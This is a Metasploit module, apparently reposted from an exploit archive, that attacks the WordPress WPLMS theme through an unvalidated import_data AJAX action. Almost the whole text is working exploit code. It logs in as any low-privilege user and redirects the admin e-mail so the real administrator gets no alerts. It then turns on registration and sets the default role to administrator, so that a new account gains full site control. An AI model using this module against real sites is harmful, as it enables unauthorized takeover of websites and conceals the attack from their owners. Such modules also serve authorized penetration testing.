WordPress WPLMS Theme Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HTTP::Wordpress  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'WordPress WPLMS Theme Privilege Escalation',  
'Description' => %q{  
The WordPress WPLMS theme from version 1.5.2 to 1.8.4.1 allows an  
authenticated user of any user level to set any system option due to a lack of  
validation in the import_data function of /includes/func.php.  
  
The module first changes the admin e-mail address to prevent any  
notifications being sent to the actual administrator during the attack,  
re-enables user registration in case it has been disabled and sets the default  
role to be administrator. This will allow for the user to create a new account  
with admin privileges via the default registration page found at  
/wp-login.php?action=register.  
},  
'Author' => [  
'Evex', # Vulnerability discovery  
'rastating' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['WPVDB', '7785']  
],  
'DisclosureDate' => '2015-02-09'  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),  
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])  
]  
)  
end  
  
def check  
check_theme_version_from_readme('wplms', '1.8.4.2', '1.5.2')  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def php_serialize(value)  
# Only strings and numbers are required by this module  
case value  
when String, Symbol  
"s:#{value.bytesize}:\"#{value}\";"  
when Integer  
"i:#{value};"  
end  
end  
  
def serialize_and_encode(value)  
serialized_value = php_serialize(value)  
unless serialized_value.nil?  
Rex::Text.encode_base64(serialized_value)  
end  
end  
  
def set_wp_option(name, value, cookie)  
encoded_value = serialize_and_encode(value)  
if encoded_value.nil?  
vprint_error("Failed to serialize #{value}.")  
else  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => wordpress_url_admin_ajax,  
'vars_get' => { 'action' => 'import_data' },  
'vars_post' => { 'name' => name, 'code' => encoded_value },  
'cookie' => cookie  
)  
  
if res.nil?  
vprint_error('No response from the target.')  
elsif res.code != 200  
vprint_warning("Server responded with status code #{res.code}")  
end  
  
return res  
end  
end  
  
def run  
print_status("Authenticating with WordPress using #{username}:#{password}...")  
cookie = wordpress_login(username, password)  
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?  
store_valid_credential(user: username, private: password, proof: cookie)  
print_good('Authenticated with WordPress')  
  
new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"  
print_status("Changing admin e-mail address to #{new_email}...")  
if set_wp_option('admin_email', new_email, cookie).nil?  
fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address')  
end  
  
print_status('Enabling user registrations...')  
if set_wp_option('users_can_register', 1, cookie).nil?  
fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations')  
end  
  
print_status('Setting the default user role...')  
if set_wp_option('default_role', 'administrator', cookie).nil?  
fail_with(Failure::UnexpectedReply, 'Failed to set the default user role')  
end  
  
register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')  
print_good('Privilege escalation complete')  
print_good("Create a new account at #{register_url} to gain admin access.")  
end  
end  
`